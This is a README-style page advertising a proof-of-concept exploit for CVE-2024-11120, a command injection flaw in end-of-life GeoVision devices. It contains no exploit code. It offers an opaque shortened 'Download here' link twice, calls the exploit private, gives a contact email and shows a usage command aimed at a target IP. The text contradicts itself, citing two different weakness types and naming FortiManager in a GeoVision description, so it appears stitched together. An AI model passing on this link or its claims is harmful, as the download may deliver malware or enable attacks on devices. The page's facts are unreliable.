CVE-2024-11120 PoC — GeoVision EOL devices - OS Command Injection

Description

Unrestricted Upload of File with Dangerous Type (CWE-434)

Readme

# CVE-2024-11120 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (CWE-78)

## Overview
CVE-2024-11120 - Certain EOL GeoVision devices have an OS Command Injection vulnerability. Unauthenticated remote attackers can exploit this vulnerability to inject and execute arbitrary system commands on the device. Moreover, this vulnerability has already been exploited by attackers, and we have received related reports.

## Exploit:
## [Download here](https://bit.ly/3UW6zGh)
## Details
+ **CVE ID**: CVE-2024-11120
+ **Published**: 11/14/2024
+ **Impact**: Confidentiality
+ **Exploit Availability**: Not public, only private.
+ **CVSS**: 9.8
## Vulnerability Description
Certain End-of-Life (EOL) GeoVision devices are affected by an OS Command Injection vulnerability. This vulnerability allows unauthenticated remote attackers to inject and execute arbitrary system commands on the affected devices. The vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
This vulnerability enables a remote attacker to send specially crafted requests, circumvent access controls, and execute arbitrary commands on the FortiManager system, which could jeopardize the security of the network.

## Affected Versions
+ GV-VS12
+ GV-VS11
+ GV-DSP_LPR_V3
+ GVLX 4 V2
+ GVLX 4 V3
## Running
To run exploit you need Python 3.9. Execute:
```
python exploit.py -h 10.10.10.10 -c 'uname -a'
```

## Contact
+ **For inquiries, please contact: brahmanskiy@outlook.com**
+ **[Download here](https://bit.ly/3UW6zGh)**

File Snapshot

Remarks